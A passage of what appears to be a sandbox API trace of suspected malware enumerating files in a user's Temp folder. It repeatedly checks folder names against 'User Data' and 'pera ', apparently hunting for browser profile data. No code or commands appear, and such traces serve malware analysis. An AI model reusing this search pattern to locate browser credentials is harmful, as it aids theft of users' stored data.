ftLastWriteTime.dwHighDateTime=0x1d8a6c2, nFileSizeHigh=0x0, nFileSizeLow=0x18c7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="3B03r.swf", cAlternateFileName="")) returned 1 [0264.285] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6ff62570, ftCreationTime.dwHighDateTime=0x1d8a33b, ftLastAccessTime.dwLowDateTime=0xfeecd150, ftLastAccessTime.dwHighDateTime=0x1d8a4d2, ftLastWriteTime.dwLowDateTime=0xfeecd150, ftLastWriteTime.dwHighDateTime=0x1d8a4d2, nFileSizeHigh=0x0, nFileSizeLow=0x6b46, dwReserved0=0x0, dwReserved1=0x0, cFileName="4sx5Tg.mkv", cAlternateFileName="")) returned 1 [0264.285] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa4c45880, ftCreationTime.dwHighDateTime=0x1d8a5e3, ftLastAccessTime.dwLowDateTime=0xc6ad1600, ftLastAccessTime.dwHighDateTime=0x1d8a73f, ftLastWriteTime.dwLowDateTime=0xc6ad1600, ftLastWriteTime.dwHighDateTime=0x1d8a73f, nFileSizeHigh=0x0, nFileSizeLow=0x118f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="6rVUN3vywg0BiV0.mp3", cAlternateFileName="6RVUN3~1.MP3")) returned 1 [0264.285] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbdf343a0, ftCreationTime.dwHighDateTime=0x1d89794, ftLastAccessTime.dwLowDateTime=0xec858c60, ftLastAccessTime.dwHighDateTime=0x1d89cf7, ftLastWriteTime.dwLowDateTime=0xec858c60, ftLastWriteTime.dwHighDateTime=0x1d89cf7, nFileSizeHigh=0x0, nFileSizeLow=0x14a43, dwReserved0=0x0, dwReserved1=0x0, cFileName="7EvuXibVMs7CbGfm4LuI.wav", cAlternateFileName="7EVUXI~1.WAV")) returned 1 [0264.285] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xff27350, ftCreationTime.dwHighDateTime=0x1d8a08d, ftLastAccessTime.dwLowDateTime=0x21db7070, ftLastAccessTime.dwHighDateTime=0x1d8a129, ftLastWriteTime.dwLowDateTime=0x21db7070, ftLastWriteTime.dwHighDateTime=0x1d8a129, nFileSizeHigh=0x0, nFileSizeLow=0x188dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="85nLJWQ9.swf", cAlternateFileName="")) returned 1 [0264.285] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfa314c70, ftCreationTime.dwHighDateTime=0x1d8a25e, ftLastAccessTime.dwLowDateTime=0x531c3e10, ftLastAccessTime.dwHighDateTime=0x1d8a531, ftLastWriteTime.dwLowDateTime=0x531c3e10, ftLastWriteTime.dwHighDateTime=0x1d8a531, nFileSizeHigh=0x0, nFileSizeLow=0xeeb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="8KSqko.flv", cAlternateFileName="")) returned 1 [0264.285] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x92db47e0, ftCreationTime.dwHighDateTime=0x1d8a8cd, ftLastAccessTime.dwLowDateTime=0x92db47e0, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x92e72ec0, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x90e34, dwReserved0=0x0, dwReserved1=0x0, cFileName="A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe", cAlternateFileName="A1PHOT~1.EXE")) returned 1 [0264.285] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x21c27930, ftCreationTime.dwHighDateTime=0x1d8a2f5, ftLastAccessTime.dwLowDateTime=0x91f433c0, ftLastAccessTime.dwHighDateTime=0x1d8a6c8, ftLastWriteTime.dwLowDateTime=0x91f433c0, ftLastWriteTime.dwHighDateTime=0x1d8a6c8, nFileSizeHigh=0x0, nFileSizeLow=0x1d49, dwReserved0=0x0, dwReserved1=0x0, cFileName="B9h9-G8oEb_ 7S.wav", cAlternateFileName="B9H9-G~1.WAV")) returned 1 [0264.285] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb61e000, ftCreationTime.dwHighDateTime=0x1d8982d, ftLastAccessTime.dwLowDateTime=0x24a53230, ftLastAccessTime.dwHighDateTime=0x1d8983e, ftLastWriteTime.dwLowDateTime=0x24a53230, ftLastWriteTime.dwHighDateTime=0x1d8983e, nFileSizeHigh=0x0, nFileSizeLow=0x15f91, dwReserved0=0x0, dwReserved1=0x0, cFileName="BC7B5Wru3sNBY.mp4", cAlternateFileName="BC7B5W~1.MP4")) returned 1 [0264.285] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd571a380, ftCreationTime.dwHighDateTime=0x1d89d18, ftLastAccessTime.dwLowDateTime=0xbd28f0c0, ftLastAccessTime.dwHighDateTime=0x1d89ed1, ftLastWriteTime.dwLowDateTime=0xbd28f0c0, ftLastWriteTime.dwHighDateTime=0x1d89ed1, nFileSizeHigh=0x0, nFileSizeLow=0x42db, dwReserved0=0x0, dwReserved1=0x0, cFileName="bjsWrsL.swf", cAlternateFileName="")) returned 1 [0264.285] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3817c050, ftCreationTime.dwHighDateTime=0x1d89aad, ftLastAccessTime.dwLowDateTime=0x4ad0e200, ftLastAccessTime.dwHighDateTime=0x1d89c36, ftLastWriteTime.dwLowDateTime=0x4ad0e200, ftLastWriteTime.dwHighDateTime=0x1d89c36, nFileSizeHigh=0x0, nFileSizeLow=0xf143, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNdW7HbM.odp", cAlternateFileName="")) returned 1 [0264.286] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x258c8360, ftCreationTime.dwHighDateTime=0x1d8a680, ftLastAccessTime.dwLowDateTime=0xafdca5f0, ftLastAccessTime.dwHighDateTime=0x1d8a738, ftLastWriteTime.dwLowDateTime=0xafdca5f0, ftLastWriteTime.dwHighDateTime=0x1d8a738, nFileSizeHigh=0x0, nFileSizeLow=0x11eb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ckpiCBb6GB.gif", cAlternateFileName="CKPICB~1.GIF")) returned 1 [0264.286] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c255420, ftCreationTime.dwHighDateTime=0x1d8a742, ftLastAccessTime.dwLowDateTime=0xce071380, ftLastAccessTime.dwHighDateTime=0x1d8a742, ftLastWriteTime.dwLowDateTime=0xce071380, ftLastWriteTime.dwHighDateTime=0x1d8a742, nFileSizeHigh=0x0, nFileSizeLow=0x9868, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cplm.mp4", cAlternateFileName="")) returned 1 [0264.286] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fd6ffc0, ftCreationTime.dwHighDateTime=0x1d8a2d5, ftLastAccessTime.dwLowDateTime=0x919136c0, ftLastAccessTime.dwHighDateTime=0x1d8a458, ftLastWriteTime.dwLowDateTime=0x919136c0, ftLastWriteTime.dwHighDateTime=0x1d8a458, nFileSizeHigh=0x0, nFileSizeLow=0x14fe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="daKe.mp3", cAlternateFileName="")) returned 1 [0264.286] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdf8f1f80, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xdf8f1f80, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xdf8f1f80, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMI7F1D.tmp", cAlternateFileName="")) returned 1 [0264.286] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe08f0000, ftCreationTime.dwHighDateTime=0x1d8a09c, ftLastAccessTime.dwLowDateTime=0x6581fda0, ftLastAccessTime.dwHighDateTime=0x1d8a50f, ftLastWriteTime.dwLowDateTime=0x6581fda0, ftLastWriteTime.dwHighDateTime=0x1d8a50f, nFileSizeHigh=0x0, nFileSizeLow=0x18fc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="faUKAMGC158ehU.m4a", cAlternateFileName="FAUKAM~1.M4A")) returned 1 [0264.286] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1408c90, ftCreationTime.dwHighDateTime=0x1d89bd0, ftLastAccessTime.dwLowDateTime=0x39740cb0, ftLastAccessTime.dwHighDateTime=0x1d89f26, ftLastWriteTime.dwLowDateTime=0x39740cb0, ftLastWriteTime.dwHighDateTime=0x1d89f26, nFileSizeHigh=0x0, nFileSizeLow=0x13c05, dwReserved0=0x0, dwReserved1=0x0, cFileName="FBvSRgXWQvYQutwZSzD.swf", cAlternateFileName="FBVSRG~1.SWF")) returned 1 [0264.286] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x852aa500, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x852aa500, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FXSAPIDebugLogFile.txt", cAlternateFileName="FXSAPI~1.TXT")) returned 1 [0264.286] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd21a66a0, ftCreationTime.dwHighDateTime=0x1d89ee3, ftLastAccessTime.dwLowDateTime=0x40407050, ftLastAccessTime.dwHighDateTime=0x1d8a283, ftLastWriteTime.dwLowDateTime=0x40407050, ftLastWriteTime.dwHighDateTime=0x1d8a283, nFileSizeHigh=0x0, nFileSizeLow=0x18795, dwReserved0=0x0, dwReserved1=0x0, cFileName="GbTLOpiv5SM.wav", cAlternateFileName="GBTLOP~1.WAV")) returned 1 [0264.286] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x91c8f2b0, ftCreationTime.dwHighDateTime=0x1d8a744, ftLastAccessTime.dwLowDateTime=0x91c8f2b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x91c8f2b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gen_py", cAlternateFileName="")) returned 1 [0264.286] lstrcmpW (lpString1="gen_py", lpString2="User Data") returned -1 [0264.286] StrStrW (lpFirst="gen_py", lpSrch="pera ") returned 0x0 [0264.286] lstrlenW (lpString=0x0) returned 0 [0264.286] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp") returned 37 [0264.286] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\gen_py\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\gen_py\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x91c8f2b0, ftCreationTime.dwHighDateTime=0x1d8a744, ftLastAccessTime.dwLowDateTime=0x91c8f2b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x91c8f2b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.286] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.286] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.286] lstrlenW (lpString=0x0) returned 0 [0264.286] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x91c8f2b0, ftCreationTime.dwHighDateTime=0x1d8a744, ftLastAccessTime.dwLowDateTime=0x91c8f2b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x91c8f2b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.287] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.287] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.287] lstrlenW (lpString=0x0) returned 0 [0264.287] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x91c8f2b0, ftCreationTime.dwHighDateTime=0x1d8a744, ftLastAccessTime.dwLowDateTime=0x91cb5410, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x91cb5410, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.8", cAlternateFileName="")) returned 1 [0264.287] lstrcmpW (lpString1="3.8", lpString2="User Data") returned -1 [0264.287] StrStrW (lpFirst="3.8", lpSrch="pera ") returned 0x0 [0264.287] lstrlenW (lpString=0x0) returned 0 [0264.287] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\gen_py") returned 44 [0264.287] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x91c8f2b0, ftCreationTime.dwHighDateTime=0x1d8a744, ftLastAccessTime.dwLowDateTime=0x91cb5410, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x91cb5410, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.8", cAlternateFileName="")) returned 0 [0264.287] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.287] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7c5dc20, ftCreationTime.dwHighDateTime=0x1d89e43, ftLastAccessTime.dwLowDateTime=0x7458f590, ftLastAccessTime.dwHighDateTime=0x1d8a447, ftLastWriteTime.dwLowDateTime=0x7458f590, ftLastWriteTime.dwHighDateTime=0x1d8a447, nFileSizeHigh=0x0, nFileSizeLow=0x31d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="hKGS1VuJMt.ots", cAlternateFileName="HKGS1V~1.OTS")) returned 1 [0264.287] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7aa1b990, ftCreationTime.dwHighDateTime=0x1d896f6, ftLastAccessTime.dwLowDateTime=0xc7c3c2e0, ftLastAccessTime.dwHighDateTime=0x1d89b1a, ftLastWriteTime.dwLowDateTime=0xc7c3c2e0, ftLastWriteTime.dwHighDateTime=0x1d89b1a, nFileSizeHigh=0x0, nFileSizeLow=0x1110b, dwReserved0=0x0, dwReserved1=0x0, cFileName="IhW_sR.mp3", cAlternateFileName="")) returned 1 [0264.287] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x956780a0, ftCreationTime.dwHighDateTime=0x1d8a8cd, ftLastAccessTime.dwLowDateTime=0x956780a0, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x956780a0, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="is-IDT09.tmp", cAlternateFileName="")) returned 1 [0264.287] lstrcmpW (lpString1="is-IDT09.tmp", lpString2="User Data") returned -1 [0264.287] StrStrW (lpFirst="is-IDT09.tmp", lpSrch="pera ") returned 0x0 [0264.287] lstrlenW (lpString=0x0) returned 0 [0264.287] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp") returned 37 [0264.287] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\is-IDT09.tmp\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\is-idt09.tmp\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x956780a0, ftCreationTime.dwHighDateTime=0x1d8a8cd, ftLastAccessTime.dwLowDateTime=0x956780a0, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x956780a0, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.288] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.288] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.288] lstrlenW (lpString=0x0) returned 0 [0264.288] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x956780a0, ftCreationTime.dwHighDateTime=0x1d8a8cd, ftLastAccessTime.dwLowDateTime=0x956780a0, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x956780a0, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.288] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.288] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.288] lstrlenW (lpString=0x0) returned 0 [0264.288] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x956780a0, ftCreationTime.dwHighDateTime=0x1d8a8cd, ftLastAccessTime.dwLowDateTime=0x956780a0, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x95997d80, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0xbca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="A1Photo-&-Art-Enhancer_Search&Patch_Activation.tmp", cAlternateFileName="A1PHOT~1.TMP")) returned 1 [0264.288] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x956780a0, ftCreationTime.dwHighDateTime=0x1d8a8cd, ftLastAccessTime.dwLowDateTime=0x956780a0, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x95997d80, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0xbca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="A1Photo-&-Art-Enhancer_Search&Patch_Activation.tmp", cAlternateFileName="A1PHOT~1.TMP")) returned 0 [0264.288] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.288] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x98c53260, ftCreationTime.dwHighDateTime=0x1d8a8cd, ftLastAccessTime.dwLowDateTime=0x98c53260, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x98c53260, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="is-Q4RII.tmp", cAlternateFileName="")) returned 1 [0264.288] lstrcmpW (lpString1="is-Q4RII.tmp", lpString2="User Data") returned -1 [0264.288] StrStrW (lpFirst="is-Q4RII.tmp", lpSrch="pera ") returned 0x0 [0264.288] lstrlenW (lpString=0x0) returned 0 [0264.288] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp") returned 37 [0264.288] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\is-Q4RII.tmp\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\is-q4rii.tmp\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x98c53260, ftCreationTime.dwHighDateTime=0x1d8a8cd, ftLastAccessTime.dwLowDateTime=0x98c53260, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x98c53260, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.289] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.289] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.289] lstrlenW (lpString=0x0) returned 0 [0264.289] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x98c53260, ftCreationTime.dwHighDateTime=0x1d8a8cd, ftLastAccessTime.dwLowDateTime=0x98c53260, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x98c53260, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.289] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.289] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.289] lstrlenW (lpString=0x0) returned 0 [0264.289] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x98c53260, ftCreationTime.dwHighDateTime=0x1d8a8cd, ftLastAccessTime.dwLowDateTime=0x98c53260, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x98c53260, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_isetup", cAlternateFileName="")) returned 1 [0264.289] lstrcmpW (lpString1="_isetup", lpString2="User Data") returned -1 [0264.289] StrStrW (lpFirst="_isetup", lpSrch="pera ") returned 0x0 [0264.289] lstrlenW (lpString=0x0) returned 0 [0264.289] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\is-Q4RII.tmp") returned 50 [0264.289] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x98c53260, ftCreationTime.dwHighDateTime=0x1d8a8cd, ftLastAccessTime.dwLowDateTime=0x98c53260, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x98c53260, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_isetup", cAlternateFileName="")) returned 0 [0264.289] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.289] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x513d0540, ftCreationTime.dwHighDateTime=0x1d89995, ftLastAccessTime.dwLowDateTime=0xb25c0de0, ftLastAccessTime.dwHighDateTime=0x1d89e71, ftLastWriteTime.dwLowDateTime=0xb25c0de0, ftLastWriteTime.dwHighDateTime=0x1d89e71, nFileSizeHigh=0x0, nFileSizeLow=0xf17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="JZWhVVQfhS.mp3", cAlternateFileName="JZWHVV~1.MP3")) returned 1 [0264.289] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa1519880, ftCreationTime.dwHighDateTime=0x1d8a6aa, ftLastAccessTime.dwLowDateTime=0x97904180, ftLastAccessTime.dwHighDateTime=0x1d8a6b3, ftLastWriteTime.dwLowDateTime=0x97904180, ftLastWriteTime.dwHighDateTime=0x1d8a6b3, nFileSizeHigh=0x0, nFileSizeLow=0x158b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kBroiW1uTGMJTA.mp3", cAlternateFileName="KBROIW~1.MP3")) returned 1 [0264.289] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x927455b0, ftCreationTime.dwHighDateTime=0x1d8a744, ftLastAccessTime.dwLowDateTime=0x927455b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x927455b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0264.289] lstrcmpW (lpString1="Low", lpString2="User Data") returned -1 [0264.289] StrStrW (lpFirst="Low", lpSrch="pera ") returned 0x0 [0264.290] lstrlenW (lpString=0x0) returned 0 [0264.290] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp") returned 37 [0264.290] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\Low\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\low\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x927455b0, ftCreationTime.dwHighDateTime=0x1d8a744, ftLastAccessTime.dwLowDateTime=0x927455b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x927455b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.290] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.290] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.290] lstrlenW (lpString=0x0) returned 0 [0264.290] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x927455b0, 